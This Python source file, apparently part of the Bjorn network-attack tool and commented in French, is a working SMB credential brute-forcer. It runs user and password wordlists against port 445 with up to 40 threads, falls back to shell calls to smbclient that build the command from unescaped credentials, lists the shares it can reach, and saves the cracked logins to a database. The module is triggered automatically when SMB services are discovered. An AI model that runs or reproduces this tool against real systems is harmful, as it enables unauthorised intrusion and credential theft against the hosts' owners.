mirror of
https://github.com/infinition/Bjorn.git
synced 2025-12-12 07:35:00 +00:00
332 lines
13 KiB
Python
332 lines
13 KiB
Python
"""
|
||
smb_bruteforce.py — SMB bruteforce (DB-backed, no CSV/JSON, no rich)
|
||
- Cibles fournies par l’orchestrateur (ip, port)
|
||
- IP -> (MAC, hostname) depuis DB.hosts
|
||
- Succès enregistrés dans DB.creds (service='smb'), 1 ligne PAR PARTAGE (database=<share>)
|
||
- Conserve la logique de queue/threads et les signatures. Plus de rich/progress.
|
||
"""
|
||
|
||
import os
|
||
import threading
|
||
import logging
|
||
import time
|
||
from subprocess import Popen, PIPE
|
||
from smb.SMBConnection import SMBConnection
|
||
from queue import Queue
|
||
from typing import List, Dict, Tuple, Optional
|
||
|
||
from shared import SharedData
|
||
from logger import Logger
|
||
|
||
logger = Logger(name="smb_bruteforce.py", level=logging.DEBUG)
|
||
|
||
b_class = "SMBBruteforce"
|
||
b_module = "smb_bruteforce"
|
||
b_status = "brute_force_smb"
|
||
b_port = 445
|
||
b_parent = None
|
||
b_service = '["smb"]'
|
||
b_trigger = 'on_any:["on_service:smb","on_new_port:445"]'
|
||
b_priority = 70
|
||
b_cooldown = 1800 # 30 minutes entre deux runs
|
||
b_rate_limit = '3/86400' # 3 fois par jour max
|
||
|
||
IGNORED_SHARES = {'print$', 'ADMIN$', 'IPC$', 'C$', 'D$', 'E$', 'F$'}
|
||
|
||
|
||
class SMBBruteforce:
|
||
"""Wrapper orchestrateur -> SMBConnector."""
|
||
|
||
def __init__(self, shared_data):
|
||
self.shared_data = shared_data
|
||
self.smb_bruteforce = SMBConnector(shared_data)
|
||
logger.info("SMBConnector initialized.")
|
||
|
||
def bruteforce_smb(self, ip, port):
|
||
"""Lance le bruteforce SMB pour (ip, port)."""
|
||
return self.smb_bruteforce.run_bruteforce(ip, port)
|
||
|
||
def execute(self, ip, port, row, status_key):
|
||
"""Point d’entrée orchestrateur (retour 'success' / 'failed')."""
|
||
self.shared_data.bjorn_orch_status = "SMBBruteforce"
|
||
success, results = self.bruteforce_smb(ip, port)
|
||
return 'success' if success else 'failed'
|
||
|
||
|
||
class SMBConnector:
|
||
"""Gère les tentatives SMB, la persistance DB et le mapping IP→(MAC, Hostname)."""
|
||
|
||
def __init__(self, shared_data):
|
||
self.shared_data = shared_data
|
||
|
||
# Wordlists inchangées
|
||
self.users = self._read_lines(shared_data.users_file)
|
||
self.passwords = self._read_lines(shared_data.passwords_file)
|
||
|
||
# Cache IP -> (mac, hostname)
|
||
self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {}
|
||
self._refresh_ip_identity_cache()
|
||
|
||
self.lock = threading.Lock()
|
||
self.results: List[List[str]] = [] # [mac, ip, hostname, share, user, password, port]
|
||
self.queue = Queue()
|
||
|
||
# ---------- util fichiers ----------
|
||
@staticmethod
|
||
def _read_lines(path: str) -> List[str]:
|
||
try:
|
||
with open(path, "r", encoding="utf-8", errors="ignore") as f:
|
||
return [l.rstrip("\n\r") for l in f if l.strip()]
|
||
except Exception as e:
|
||
logger.error(f"Cannot read file {path}: {e}")
|
||
return []
|
||
|
||
# ---------- mapping DB hosts ----------
|
||
def _refresh_ip_identity_cache(self) -> None:
|
||
self._ip_to_identity.clear()
|
||
try:
|
||
rows = self.shared_data.db.get_all_hosts()
|
||
except Exception as e:
|
||
logger.error(f"DB get_all_hosts failed: {e}")
|
||
rows = []
|
||
|
||
for r in rows:
|
||
mac = r.get("mac_address") or ""
|
||
if not mac:
|
||
continue
|
||
hostnames_txt = r.get("hostnames") or ""
|
||
current_hn = hostnames_txt.split(';', 1)[0] if hostnames_txt else ""
|
||
ips_txt = r.get("ips") or ""
|
||
if not ips_txt:
|
||
continue
|
||
for ip in [p.strip() for p in ips_txt.split(';') if p.strip()]:
|
||
self._ip_to_identity[ip] = (mac, current_hn)
|
||
|
||
def mac_for_ip(self, ip: str) -> Optional[str]:
|
||
if ip not in self._ip_to_identity:
|
||
self._refresh_ip_identity_cache()
|
||
return self._ip_to_identity.get(ip, (None, None))[0]
|
||
|
||
def hostname_for_ip(self, ip: str) -> Optional[str]:
|
||
if ip not in self._ip_to_identity:
|
||
self._refresh_ip_identity_cache()
|
||
return self._ip_to_identity.get(ip, (None, None))[1]
|
||
|
||
# ---------- SMB ----------
|
||
def smb_connect(self, adresse_ip: str, user: str, password: str) -> List[str]:
|
||
conn = SMBConnection(user, password, "Bjorn", "Target", use_ntlm_v2=True)
|
||
try:
|
||
conn.connect(adresse_ip, 445)
|
||
shares = conn.listShares()
|
||
accessible = []
|
||
for share in shares:
|
||
if share.isSpecial or share.isTemporary or share.name in IGNORED_SHARES:
|
||
continue
|
||
try:
|
||
conn.listPath(share.name, '/')
|
||
accessible.append(share.name)
|
||
logger.info(f"Access to share {share.name} successful on {adresse_ip} with user '{user}'")
|
||
except Exception as e:
|
||
logger.error(f"Error accessing share {share.name} on {adresse_ip} with user '{user}': {e}")
|
||
try:
|
||
conn.close()
|
||
except Exception:
|
||
pass
|
||
return accessible
|
||
except Exception:
|
||
return []
|
||
|
||
def smbclient_l(self, adresse_ip: str, user: str, password: str) -> List[str]:
|
||
cmd = f'smbclient -L {adresse_ip} -U {user}%{password}'
|
||
try:
|
||
process = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE)
|
||
stdout, stderr = process.communicate()
|
||
if b"Sharename" in stdout:
|
||
logger.info(f"Successful auth for {adresse_ip} with '{user}' using smbclient -L")
|
||
return self.parse_shares(stdout.decode(errors="ignore"))
|
||
else:
|
||
logger.info(f"Trying smbclient -L for {adresse_ip} with user '{user}'")
|
||
return []
|
||
except Exception as e:
|
||
logger.error(f"Error executing '{cmd}': {e}")
|
||
return []
|
||
|
||
@staticmethod
|
||
def parse_shares(smbclient_output: str) -> List[str]:
|
||
shares = []
|
||
for line in smbclient_output.splitlines():
|
||
if line.strip() and not line.startswith("Sharename") and not line.startswith("---------"):
|
||
parts = line.split()
|
||
if parts:
|
||
name = parts[0]
|
||
if name not in IGNORED_SHARES:
|
||
shares.append(name)
|
||
return shares
|
||
|
||
# ---------- DB upsert fallback ----------
|
||
def _fallback_upsert_cred(self, *, mac, ip, hostname, user, password, port, database=None):
|
||
mac_k = mac or ""
|
||
ip_k = ip or ""
|
||
user_k = user or ""
|
||
db_k = database or ""
|
||
port_k = int(port or 0)
|
||
|
||
try:
|
||
with self.shared_data.db.transaction(immediate=True):
|
||
self.shared_data.db.execute(
|
||
"""
|
||
INSERT OR IGNORE INTO creds(service,mac_address,ip,hostname,"user","password",port,"database",extra)
|
||
VALUES('smb',?,?,?,?,?,?,?,NULL)
|
||
""",
|
||
(mac_k, ip_k, hostname or "", user_k, password or "", port_k, db_k),
|
||
)
|
||
self.shared_data.db.execute(
|
||
"""
|
||
UPDATE creds
|
||
SET "password"=?,
|
||
hostname=COALESCE(?, hostname),
|
||
last_seen=CURRENT_TIMESTAMP
|
||
WHERE service='smb'
|
||
AND COALESCE(mac_address,'')=?
|
||
AND COALESCE(ip,'')=?
|
||
AND COALESCE("user",'')=?
|
||
AND COALESCE(COALESCE("database",""),'')=?
|
||
AND COALESCE(port,0)=?
|
||
""",
|
||
(password or "", hostname or None, mac_k, ip_k, user_k, db_k, port_k),
|
||
)
|
||
except Exception as e:
|
||
logger.error(f"fallback upsert_cred failed for {ip} {user}: {e}")
|
||
|
||
# ---------- worker / queue ----------
|
||
def worker(self, success_flag):
|
||
"""Worker thread for SMB bruteforce attempts."""
|
||
while not self.queue.empty():
|
||
if self.shared_data.orchestrator_should_exit:
|
||
logger.info("Orchestrator exit signal received, stopping worker thread.")
|
||
break
|
||
|
||
adresse_ip, user, password, mac_address, hostname, port = self.queue.get()
|
||
try:
|
||
shares = self.smb_connect(adresse_ip, user, password)
|
||
if shares:
|
||
with self.lock:
|
||
for share in shares:
|
||
if share in IGNORED_SHARES:
|
||
continue
|
||
self.results.append([mac_address, adresse_ip, hostname, share, user, password, port])
|
||
logger.success(f"Found credentials IP:{adresse_ip} | User:{user} | Share:{share}")
|
||
self.save_results()
|
||
self.removeduplicates()
|
||
success_flag[0] = True
|
||
finally:
|
||
self.queue.task_done()
|
||
|
||
# Optional delay between attempts
|
||
if getattr(self.shared_data, "timewait_smb", 0) > 0:
|
||
time.sleep(self.shared_data.timewait_smb)
|
||
|
||
|
||
def run_bruteforce(self, adresse_ip: str, port: int):
|
||
mac_address = self.mac_for_ip(adresse_ip)
|
||
hostname = self.hostname_for_ip(adresse_ip) or ""
|
||
|
||
total_tasks = len(self.users) * len(self.passwords)
|
||
if total_tasks == 0:
|
||
logger.warning("No users/passwords loaded. Abort.")
|
||
return False, []
|
||
|
||
for user in self.users:
|
||
for password in self.passwords:
|
||
if self.shared_data.orchestrator_should_exit:
|
||
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
|
||
return False, []
|
||
self.queue.put((adresse_ip, user, password, mac_address, hostname, port))
|
||
|
||
success_flag = [False]
|
||
threads = []
|
||
thread_count = min(40, max(1, total_tasks))
|
||
|
||
for _ in range(thread_count):
|
||
t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True)
|
||
t.start()
|
||
threads.append(t)
|
||
|
||
while not self.queue.empty():
|
||
if self.shared_data.orchestrator_should_exit:
|
||
logger.info("Orchestrator exit signal received, stopping bruteforce.")
|
||
while not self.queue.empty():
|
||
try:
|
||
self.queue.get_nowait()
|
||
self.queue.task_done()
|
||
except Exception:
|
||
break
|
||
break
|
||
|
||
self.queue.join()
|
||
for t in threads:
|
||
t.join()
|
||
|
||
# Fallback smbclient -L si rien trouvé
|
||
if not success_flag[0]:
|
||
logger.info(f"No success via SMBConnection. Trying smbclient -L for {adresse_ip}")
|
||
for user in self.users:
|
||
for password in self.passwords:
|
||
shares = self.smbclient_l(adresse_ip, user, password)
|
||
if shares:
|
||
with self.lock:
|
||
for share in shares:
|
||
if share in IGNORED_SHARES:
|
||
continue
|
||
self.results.append([mac_address, adresse_ip, hostname, share, user, password, port])
|
||
logger.success(f"(SMB) Found credentials IP:{adresse_ip} | User:{user} | Share:{share} via smbclient -L")
|
||
self.save_results()
|
||
self.removeduplicates()
|
||
success_flag[0] = True
|
||
if getattr(self.shared_data, "timewait_smb", 0) > 0:
|
||
time.sleep(self.shared_data.timewait_smb)
|
||
|
||
return success_flag[0], self.results
|
||
|
||
# ---------- persistence DB ----------
|
||
def save_results(self):
|
||
# insère self.results dans creds (service='smb'), database = <share>
|
||
for mac, ip, hostname, share, user, password, port in self.results:
|
||
try:
|
||
self.shared_data.db.insert_cred(
|
||
service="smb",
|
||
mac=mac,
|
||
ip=ip,
|
||
hostname=hostname,
|
||
user=user,
|
||
password=password,
|
||
port=port,
|
||
database=share, # utilise la colonne 'database' pour distinguer les shares
|
||
extra=None
|
||
)
|
||
except Exception as e:
|
||
if "ON CONFLICT clause does not match" in str(e):
|
||
self._fallback_upsert_cred(
|
||
mac=mac, ip=ip, hostname=hostname, user=user,
|
||
password=password, port=port, database=share
|
||
)
|
||
else:
|
||
logger.error(f"insert_cred failed for {ip} {user} share={share}: {e}")
|
||
self.results = []
|
||
|
||
def removeduplicates(self):
|
||
# plus nécessaire avec l'index unique; conservé pour compat.
|
||
pass
|
||
|
||
|
||
if __name__ == "__main__":
|
||
# Mode autonome non utilisé en prod; on laisse simple
|
||
try:
|
||
sd = SharedData()
|
||
smb_bruteforce = SMBBruteforce(sd)
|
||
logger.info("SMB brute force module ready.")
|
||
exit(0)
|
||
except Exception as e:
|
||
logger.error(f"Error: {e}")
|
||
exit(1)
|